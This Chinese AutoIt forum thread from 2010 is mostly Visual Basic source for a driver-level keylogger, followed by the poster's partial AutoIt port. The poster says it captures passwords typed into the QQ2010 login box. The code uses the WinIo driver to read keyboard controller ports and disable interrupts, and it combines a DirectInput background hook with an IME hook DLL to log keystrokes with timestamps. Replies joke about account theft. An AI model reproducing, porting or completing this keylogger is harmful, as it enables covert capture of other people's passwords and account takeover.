ajian55 发表于 2010-7-16 22:24:25

驱动级键盘记录,谁能转换成AU3的?

本帖最后由 ajian55 于 2010-7-30 16:19 编辑

驱动级键盘记录,能正确获取到QQ2010登陆密码输入框输入的密码,以下是VB源码,谁能翻译成AU3的?跪谢!!!
窗体:Private Sub Form_Load()
If InitializeWinIo = False Then   '加载WINIO驱动
    MsgBox "WINIO驱动程序无法加载!"
    'End
End If
' -------------------
WM_HXWDLLWX_QQBTX = RegisterWindowMessage("WM_HXWDLLWX_QQBTX")'注册自定义消息
WM_HXWDLLWX_HOOKKEY = RegisterWindowMessage("WM_HXWDLLWX_HOOKKEY")
' -----------------
Set DX = New DirectX7'建立DirectX对象
Set DI = DX.DirectInputCreate()'建立DirectInput对象
Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard") '建立DirectInput的键盘对象
DI_Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD'设置数据格式
DI_Keyboard.SetCooperativeLevel 0, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE'设置协作模式(就是DX设备要与某个窗口关联)。DISCL_BACKGROUND这个是最重要的,它让程序即使在后台运行也能监视键盘输入,不然怎么做HOOK呢^_^
DI_Keyboard.Acquire'开始
' ------------------------
PrevWndProc = SetWindowLong(Me.hWnd, GWL_WNDPROC, AddressOf SubWndProc) '子类化窗口,以便能处理DLL发出的自定义消息
DLLstartHOOK Me.hWnd '初始化DLL
DLLsetHOOKState True'打开输入法HOOK
' -----------------------
'Dim tempX As Long
'tempX = MyInp(&H60)
'tempX = MyInp(&H64)
'KBCWait4IOF
'MyOUT &H64, &H20
'KBCWait4IBF
'KeyboardIOCommand = MyInp(&H60)   '读取键盘控制器原始命令字节
' ----------------------
Timer1.Interval = 45'设置轮询间隔
Timer2.Interval = 36
Timer1.Enabled = True
Timer2.Enabled = True
CloseKeyboardINT   '关键盘中断
End Sub

Private Sub Form_Unload(Cancel As Integer)
OpenKeyboardINT   '开中断
DLLsetHOOKState False'关闭输入法HOOK
DLLstopHOOK'卸载输入法HOOK
Call SetWindowLong(Me.hWnd, GWL_WNDPROC, PrevWndProc)'还原子类化窗口
' ----------------
DI_Keyboard.Unacquire '释放DirectInput对象
Set DI_Keyboard = Nothing
Set DI = Nothing
Set DX = Nothing
ShutdownWinIo    '卸载WINIO
End Sub


Private Sub Text1_Change()
Text1.SelStart = Len(Text1.Text)
End Sub

Private Sub Text2_Change()
Text2.SelStart = Len(Text2.Text)
End Sub

Private Sub Text3_Change()
Text3.SelStart = Len(Text3.Text)
End Sub

Private Sub Timer1_Timer()
' DX键盘记录
'On Error Resume Next
Static keyArray(255) As Byte
Dim key_count As Integer, vKeyCode As Integer, vKeyASC As String
DI_Keyboard.GetDeviceStateKeyboard key_state'轮询键盘,并把键盘输入保存到key_state结构中
For key_count = 0 To 255
    If keyArray(key_count) <> key_state.Key(key_count) Then   '判断是否有键被按下或弹起,key_count代表的是被按下的键的扫描码
      vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
      vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))   '虚拟码转换为ASCII字符
      If vKeyASC <> Chr(0) Then
      If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
            vKeyASC = UCase(vKeyASC)   '根据大小写锁定键判断大小写
      Else
            vKeyASC = LCase(vKeyASC)
      End If
      If vKeyASC = " " Then vKeyASC = "【空格】"
      Else
      vKeyASC = "【" & CStr(vKeyCode) & "】"   '如果是不能显示的键,则直接显示虚拟码
      End If
      If key_state.Key(key_count) = 0 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
      DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " "          '存储按键,以空格为分隔符
      DataKeyCacheDXMore = DataKeyCacheDXMore & Now() & "|"    '存储按键时间信息,以|为分隔符
      Text1.Text = DataKeyCacheDX
    End If
    keyArray(key_count) = key_state.Key(key_count)
Next
End Sub

Private Sub Timer2_Timer()
'驱动级键盘记录
    ' GetKeyStatType1'第一种办法,简单轮询
    GetKeyStatType2   '第2种办法,关闭键盘中断然后轮询
End Sub

Private Sub GetKeyStatType1()
Static lastKey As Integer
Dim mydata As Integer, myKBC As Integer
Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer
myKBC = MyINP(&H64)   '读取键盘控制端口
If myKBC = 20 Or myKBC = 28 Then   '如果键盘控制器是我们想要的状态
'If ((myKBC And 246) Or 20) = 20 Then'如果键盘控制器是我们想要的状态
    mydata = MyINP(&H60)   '读取键盘数据端口
    If mydata <> lastKey And mydata <> 0 Then
      key_count = mydata And 127   '总是将断码变为通码
      vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
      If vKeyCode <> 0 Then
      vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))   '虚拟码转换为ASCII字符
      If vKeyASC <> Chr(0) Then
          If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
            vKeyASC = UCase(vKeyASC)   '根据大小写锁定键判断大小写
          Else
            vKeyASC = LCase(vKeyASC)
          End If
          If vKeyASC = " " Then vKeyASC = "【空格】"
      Else
          vKeyASC = "【" & CStr(vKeyCode) & "】"   '如果是不能显示的键,则直接显示虚拟码
      End If
      If mydata And 128 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
      DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & " "          '存储按键,以空格为分隔符
      DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|"    '存储按键时间信息,以|为分隔符
      Text2.Text = DataKeyCacheWINIO
      lastKey = mydata
      End If
    End If
End If
End Sub

Private Sub GetKeyStatType2()
Static lastKey As Integer
Dim mydata As Integer, myKBC As Integer
Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer

myKBC = MyINP(&H64)   '读取键盘控制端口
'If myKBC = 22 Or myKBC = 30 Then
If myKBC And &H1 Then
    mydata = MyINP(&H60)   '从缓冲区取走数据。这时取走的肯定是键盘数据,不会包含鼠标数据,因为鼠标数据会被鼠标中断第一时间取走。
    myKBC = MyINP(&H64)   '读取键盘控制端口
    If myKBC = 20 Or myKBC = 28 Then
      If mydata <> lastKey And mydata <> 0 Then
            key_count = mydata And 127   '总是将断码变为通码
            vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
            If vKeyCode <> 0 Then
            vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))   '虚拟码转换为ASCII字符
            If vKeyASC <> Chr(0) Then
                If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
                  vKeyASC = UCase(vKeyASC)   '根据大小写锁定键判断大小写
                Else
                  vKeyASC = LCase(vKeyASC)
                End If
                If vKeyASC = " " Then vKeyASC = "【空格】"
            Else
                vKeyASC = "【" & CStr(vKeyCode) & "】"   '如果是不能显示的键,则直接显示虚拟码
            End If
            If mydata And 128 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
            DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & " "          '存储按键,以空格为分隔符
            DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|"    '存储按键时间信息,以|为分隔符
            Text2.Text = DataKeyCacheWINIO
            End If
      End If
    End If
    lastKey = mydata
    OpenKeyboardINT'开中断
    KBCWait4IBF
    MyOUT &H64, &HD2   '将收到的数据复制到键盘输入缓冲区
    KBCWait4IBF
    MyOUT &H60, mydata    '将收到的数据复制到键盘输入缓冲区,这里你完全可以修改这个数据,从而欺骗系统,比如将A键改成B键
    'OpenKeyboardINT'开中断
    Sleep 1   '等待键盘中断处理
    KBCWait4IBF
    CloseKeyboardINT    '关键盘中断
End If
End Sub

Private Sub CloseKeyboardINT()
'关闭键盘中断
Dim tmpX As Long
tmpX = MyINP(&H60)   '清空键盘的输入缓冲区
tmpX = MyINP(&H64)

KBCWait4IOF
MyOUT &H64, &H60
KBCWait4IOF
'MyOUT &H60, KeyboardIOCommand And &HFE
MyOUT &H60, 70    '设置状态位,关闭键盘中断
End Sub

Private Sub OpenKeyboardINT()
'打开键盘中断
Dim tmpX As Long
tmpX = MyINP(&H60)   '清空键盘的输入缓冲区
tmpX = MyINP(&H64)

KBCWait4IBF
MyOUT &H64, &H60   '&H60表示写键盘控制器命令字节
KBCWait4IBF
'MyOUT &H60, KeyboardIOCommand Or &H1'打开键盘中断
MyOUT &H60, 71    '打开键盘中断
End Sub模块:
Declare Function MapPhysToLin Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysSize As Long, ByRef PhysMemHandle) As Long
Declare Function UnmapPhysicalMemory Lib "WinIo.dll" (ByVal PhysMemHandle, ByVal LinAddr) As Boolean
Declare Function GetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByRef PhysVal As Long) As Boolean
Declare Function SetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysVal As Long) As Boolean
Declare Function GetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByRef PortVal As Long, ByVal bSize As Byte) As Boolean
Declare Function SetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByVal PortVal As Long, ByVal bSize As Byte) As Boolean
Declare Function InitializeWinIo Lib "WinIo.dll" () As Boolean
Declare Function ShutdownWinIo Lib "WinIo.dll" () As Boolean
Declare Function InstallWinIoDriver Lib "WinIo.dll" (ByVal DriverPath As String, ByVal Mode As Integer) As Boolean
Declare Function RemoveWinIoDriver Lib "WinIo.dll" () As Boolean
' ------------------------------------以上是WINIO函数声明-----------------------------------------------
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
Public Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'---------------------------------API函数的声明-----------------------
Public Declare Function DLLstartHOOK Lib "hxwdllwx.dll" (ByVal hWnd As Long) As Long   '初始化钩子
Public Declare Function DLLstopHOOK Lib "hxwdllwx.dll" () As Long   '卸载钩子
Public Declare Function DLLsetHOOKState Lib "hxwdllwx.dll" (ByVal myState As Boolean) As Long'打开或关闭钩子
Public Declare Function DLLGetPubString Lib "hxwdllwx.dll" () As String   '获得输入法输入
Public Declare Function DLLSetPubString Lib "hxwdllwx.dll" (ByVal tmpstr As String) As Long   '修改输入法输入
Public Declare Function DLLGetPubMsg Lib "hxwdllwx.dll" () As Long   '获得拦截到的键盘消息,返回一个lpMSG类型的指针
' ------------------------输入法HOOK DLL导出函数-----------------------------
Public Type POINTAPI
      x As Long
      y As Long
End Type

Public Type lpMSG
' 声明windows消息类型
hWnd As Long
message As Long
wParam As Long
lParam As Long
time As Long
pt As POINTAPI
End Type

Public Const VK_CAPITAL As Long = &H14
Public Const VK_NUMLOCK As Long = &H90
Public Const VK_SHIFT = &H10

Public Const GWL_WNDPROC = -4
Public Const WM_KEYDOWN = &H100
Public Const WM_CHAR = &H102

Public WM_HXWDLLWX_QQBTX As Long'自定义消息
Public WM_HXWDLLWX_HOOKKEY As Long
Public PrevWndProc As Long '保存旧的窗口处理函数地址

Public DX As DirectX7
Public DI As DirectInput
Public DI_Keyboard As DirectInputDevice
Public key_state As DIKEYBOARDSTATE

Public DataKeyCacheDX As String, DataKeyCacheDXMore As String
Public DataKeyCacheWINIO As String, DataKeyCacheWINIOMore As String
Public DataKeyCacheIME As String
Public DataKeyCacheChar As String
Public KeyboardIOCommand As Long

Public Function SubWndProc(ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim tmpS As String, myMSG As lpMSG, MSGPoint As Long
Dim mydata(1) As Byte, CharStr As String
Static lastChar As Byte

If Msg = WM_HXWDLLWX_QQBTX Then
'如果收到了输入法上屏拦截消息
    tmpS = DLLGetPubString() '获得输入法输入
    DataKeyCacheIME = DataKeyCacheIME & tmpS & "   "
    Form1.Text3.Text = DataKeyCacheIME
    'tmpS = tmpS & "(被修改)"
    'DLLSetPubString tmpS   '修改输入法输入
End If
If Msg = WM_HXWDLLWX_HOOKKEY Then
'如果收到的是键盘拦截消息
    MSGPoint = DLLGetPubMsg()
    CopyMemory myMSG, ByVal MSGPoint, Len(myMSG) '将指针MSGPoint所指的内存区域复制到myMSG结构中
    If myMSG.message = WM_CHAR Then
      If myMSG.wParam < 128 Then
            lastChar = myMSG.wParam
            DataKeyCacheChar = DataKeyCacheChar & Chr(lastChar)
            Form1.Text4.Text = DataKeyCacheChar
      Else
            If lastChar >= 128 Then
                mydata(1) = lastChar
                mydata(0) = myMSG.wParam
                CharStr = StrConv(mydata, vbUnicode)
                lastChar = 0
                DataKeyCacheChar = DataKeyCacheChar & CharStr
                Form1.Text4.Text = DataKeyCacheChar
            Else
                lastChar = myMSG.wParam
            End If
      End If
    End If
    'CopyMemory ByVal MSGPoint, myMSG, Len(myMSG)'将myMSG的数据复制回MSGPoint所指的内存区域
End If
SubWndProc = CallWindowProc(PrevWndProc, hWnd, Msg, wParam, lParam)   '将消息传给旧的窗口函数继续处理
End Function

Function MyINP(ByVal PortAddr As Integer) As Long
Dim PortVal As Long
GetPortVal PortAddr, PortVal, 1
MyINP = PortVal
End Function

Sub MyOUT(ByVal PortAddr As Integer, ByVal theData As Long)
    SetPortVal PortAddr, theData, 1
End Sub


Sub KBCWait4IBF()   '等待键盘输入缓冲区为空
Dim dwVal As Long
Do
GetPortVal &H64, dwVal, 1
Loop While (dwVal And &H2)
End Sub

Sub KBCWait4OBF()   '等待键盘输出缓冲区为空
Dim dwVal As Long
Do
GetPortVal &H64, dwVal, 1
Loop While (dwVal And &H1)
End Sub

Sub KBCWait4IOF()   '等待键盘两个缓冲区都为空
Dim dwVal As Long
Do
GetPortVal &H64, dwVal, 1
Loop While (dwVal And &H3)
End Sub

Sub KBCWait4IBFFull()   '等待键盘输入缓冲区不为空
Dim dwVal As Long
Do Until (dwVal And &H2)
GetPortVal &H64, dwVal, 1
Loop
End Sub
不好意思这两个附件是空的我不知道怎么删除大家不要下载附件

PS:我没有成功将VB转成au3的,虽然代码成功运行了,但是运行没效果,或许au3跟VB是不同的,不过没关系 ,花了两天半时间将VB学的差不多了,可以直接用VB写程序,呵呵,下次有流量了,我会把VB写的打包发上来,提供au3使用的接口~~~~~~

感谢大家关注!后续请去这里 http://www.autoitx.com/forum.php?mod=viewthread&tid=17270&extra=

t87564833 发表于 2010-7-17 19:00:49

哇,这么暴力的东西~大家小心啊,别走火入魔啊

ajian55 发表于 2010-7-19 18:06:00

论坛那么多的VB高人呢?怎么都不说话了~~~~~~~~~~

lanfengc 发表于 2010-7-20 22:33:59

这个真不好转。。。AU3水平不够。 惭愧。

lxz 发表于 2010-7-21 05:15:28

应该能转, AU3水平不够。

nxbigdaddy 发表于 2010-7-21 08:30:35

支持啊!支持!

ajian55 发表于 2010-7-21 14:48:07

本帖最后由 ajian55 于 2010-7-21 15:37 编辑

我没学过VB,全凭自己的理解转了下驱动级记录部分,但是没法记录,请大侠看看哪里出问题了:#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Include <Date.au3>


Global Const $VK_CAPITAL= 0x14
Global Const $VK_NUMLOCK= 0x90
Global Const $VK_SHIFT = 0x10

Global Const $GWL_WNDPROC = -4
;Global Const $WM_KEYDOWN = 0x100
;Global Const $WM_CHAR = 0x102
;Msgbox(64,$WM_KEYDOWN,$WM_CHAR)

Global $WM_HXWDLLWX_QQBTX ;自定义消息
Global $WM_HXWDLLWX_HOOKKEY
Global $PrevWndProc ;保存旧的窗口处理函数地址

Global $DX
Global $DI
Global $DI_Keyboard
Global $key_state

Global $DataKeyCacheDX , $DataKeyCacheDXMore
Global $DataKeyCacheWINIO , $DataKeyCacheWINIOMore
Global $DataKeyCacheIME
Global $DataKeyCacheChar
Global $KeyboardIOCommand

$Form1 = GUICreate("Form1", 565, 372, 192, 124)
$Label1 = GUICtrlCreateLabel("DX", 40, 40, 19, 17)
$Edit1 = GUICtrlCreateEdit("", 120, 16, 425, 73)
GUICtrlSetData(-1, "")
$Edit2 = GUICtrlCreateEdit("", 120, 104, 425, 73)
GUICtrlSetData(-1, "")
$Label2 = GUICtrlCreateLabel("驱动级", 40, 128, 40, 17)
$Edit3 = GUICtrlCreateEdit("", 120, 192, 425, 73)
GUICtrlSetData(-1, "")
$Label3 = GUICtrlCreateLabel("汉字", 40, 216, 28, 17)
$Edit4 = GUICtrlCreateEdit("", 120, 280, 425, 73)
GUICtrlSetData(-1, "")
$Label4 = GUICtrlCreateLabel("所有", 40, 296, 28, 17)
GUISetState(@SW_SHOW)
Global $dll_WinIO=DllOpen ( "WinIo.dll" )
Global $dll_user32=DllOpen ( "user32.dll" )
Msgbox(64,"Dll1Open",$dll_WinIO)
$initdll1=DllCall ( $dll_WinIO, "BOOLEAN", "InitializeWinIo")
If $initdll1=False Then
Msgbox(64,"错误","WinIO驱动无法加载!")
Else
Msgbox(64,"成功","WinIO驱动加载成功!返回值:"&$initdll1&";error:"&@error )
EndIf

_CloseKeyboardINT() ;关中断
While 1
      _GetKeyStatType() ;键盘记录
        $nMsg = GUIGetMsg()
        Switch $nMsg
                Case $GUI_EVENT_CLOSE
                        _myExit()

        EndSwitch
WEnd

Func _myExit()
_OpenKeyboardINT()   ;开中断
;DLLsetHOOKState False'关闭输入法HOOK
;DLLstopHOOK'卸载输入法HOOK
;Call SetWindowLong(Me.hWnd, GWL_WNDPROC, PrevWndProc)'还原子类化窗口

;DI_Keyboard.Unacquire '释放DirectInput对象
;Set DI_Keyboard = Nothing
;Set DI = Nothing
;Set DX = Nothing
DllCall ( $dll_WinIO, "BOOLEAN", "ShutdownWinIo")
Exit
EndFunc

Func _GetKeyStatType()
Global $lastKey
Dim $mydata, $myKBC
Dim $vKeyCode , $vKeyASC , $key_count
$myKBC = _MyINP(0x64)   ;读取键盘控制端口
If BitAND ($myKBC , 0x1) Then
    $mydata = _MyINP(0x60)   ;从缓冲区取走数据。这时取走的肯定是键盘数据,不会包含鼠标数据,因为鼠标数据会被鼠标中断第一时间取走。
    $myKBC = _MyINP(0x64)   ;读取键盘控制端口
    If $myKBC = 20 OR $myKBC = 28 Then
      If $mydata <> $lastKey And $mydata <> 0 Then
            $key_count = BitAND ($mydata , 127)   ;总是将断码变为通码
            $vKeyCode = DllCall ( $dll_user32, "UINT", "MapVirtualKey" ,"UINT",$key_count,"UINT" ,1);扫描码转虚拟码
            If $vKeyCode <> 0 Then
            $vKeyASC = Chr(DllCall ( $dll_user32, "UINT", "MapVirtualKey" ,"UINT",$vKeyCode,"UINT" ,2))   ;虚拟码转换为ASCII字符
            If $vKeyASC <> Chr(0) Then
                If Mod (DllCall ( $dll_user32, "short", "GetKeyState" ,"int",$VK_CAPITAL) , 0xFF80 ) = 1 Then
                  $vKeyASC = StringUpper($vKeyASC)   ;根据大小写锁定键判断大小写
                Else
                  $vKeyASC = StringLower($vKeyASC)
                EndIf
                If $vKeyASC = " " Then $vKeyASC = "【空格】"
            Else
                $vKeyASC = "【" & String($vKeyCode) & "】"   ;如果是不能显示的键,则直接显示虚拟码
            EndIf
            If BitAND ($mydata , 128) Then
                $vKeyASC = $vKeyASC & "|" & "up"
            Else
                $vKeyASC = $vKeyASC & "|" & "down" ;记录是按下(down)还是弹起(up)
            EndIf
            $DataKeyCacheWINIO = $DataKeyCacheWINIO & $vKeyASC & " "          ;存储按键,以空格为分隔符
            $DataKeyCacheWINIOMore = $DataKeyCacheDXMore & _Now() & "|"    ;存储按键时间信息,以|为分隔符
            GUICtrlSetData ( $Edit2, GUICtrlRead ( $Edit2 )& $DataKeyCacheWINIO )
            EndIf
      EndIf
    EndIf
    $lastKey = $mydata
    _OpenKeyboardINT();开中断
    _KBCWait4IBF()
    _MyOUT (0x64, 0xD2)   ;将收到的数据复制到键盘输入缓冲区
    _KBCWait4IBF()
    _MyOUT (0x60, $mydata );将收到的数据复制到键盘输入缓冲区,这里你完全可以修改这个数据,从而欺骗系统,比如将A键改成B键
    Sleep (1)   ;等待键盘中断处理
    _KBCWait4IBF()
    _CloseKeyboardINT()    ;关键盘中断
EndIf
EndFunc

Func _CloseKeyboardINT() ;关闭键盘中断
Dim $tmpX
$tmpX = _MyINP(0x60)   ;清空键盘的输入缓冲区
$tmpX = _MyINP(0x64)
EndFunc

Func _MyINP($PortAddr)
Dim $PortVal
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",$PortAddr, "DWORD_PTR",$PortVal,"BYTE",1)
Return $PortVal
EndFunc

Func _OpenKeyboardINT()   ;打开键盘中断
Dim $tmpX
$tmpX = _MyINP(0x60)   ;清空键盘的输入缓冲区
$tmpX = _MyINP(0x64)
EndFunc

Func _MyOUT($PortAddr , $theData)
    DllCall ( $dll_WinIO, "BOOLEAN", "SetPortVal" ,"WORD",$PortAddr, "DWORD_PTR",$theData,"BYTE",1)
EndFunc


Func _KBCWait4IBF()   ;等待键盘输入缓冲区为空
Dim $dwVal
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
While NOT BitAND ($dwVal , 0x2)
   DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
WEnd
EndFunc

Func _KBCWait4OBF()   ;等待键盘输出缓冲区为空
Dim $dwVal
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
While NOT BitAND($dwVal , 0x1)
   DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
WEnd
EndFunc

Func _KBCWait4IOF()   ;等待键盘两个缓冲区都为空
Dim $dwVal
DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
While NOT BitAND($dwVal , 0x3)
   DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
WEnd
EndFunc

Func _KBCWait4IBFFull()   ;等待键盘输入缓冲区不为空
Dim $dwVal=0
While NOT BitAND($dwVal , 0x2)
    DllCall ( $dll_WinIO, "BOOLEAN", "GetPortVal" ,"WORD",0x64, "DWORD_PTR",$dwVal,"BYTE",1)
WEnd
EndFunc

ajian55 发表于 2010-7-23 12:59:02

功夫不负无聊人啊,终于让我给搞定了,嘿嘿。

nmgwddj 发表于 2010-7-23 16:34:34

盗我号 我买两根皮筋 做个弹弓 打你家玻璃!

qq342252004 发表于 2010-7-23 22:07:15

盗我号 我买两根皮筋 做个弹弓 打你家玻璃!
nmgwddj 发表于 2010-7-23 16:34 http://www.autoitx.com/images/common/back.gif
他家的玻璃是防弹的!

水木子 发表于 2010-7-23 23:30:03

相当邪恶的东东!{:face (201):}

qq342252004 发表于 2010-7-23 23:41:57

驱动级键盘记录,能正确获取到QQ2010登陆密码输入框输入的密码,以下是VB源码,谁能翻译成AU3的?跪谢!!! ...
ajian55 发表于 2010-7-16 22:24 http://www.autoitx.com/images/common/back.gif

两个附件都是空的

wanghong01 发表于 2010-7-26 02:45:03

本帖最后由 wanghong01 于 2010-7-26 02:48 编辑

高人,可否把正确的代码拿来看看啊。

lxz 发表于 2010-7-26 17:50:09

两个附件都是空的,放鸽子了...

zjg2003 发表于 2010-8-4 21:24:09

很好很强大
页: [1] 2
查看完整版本: 驱动级键盘记录,谁能转换成AU3的?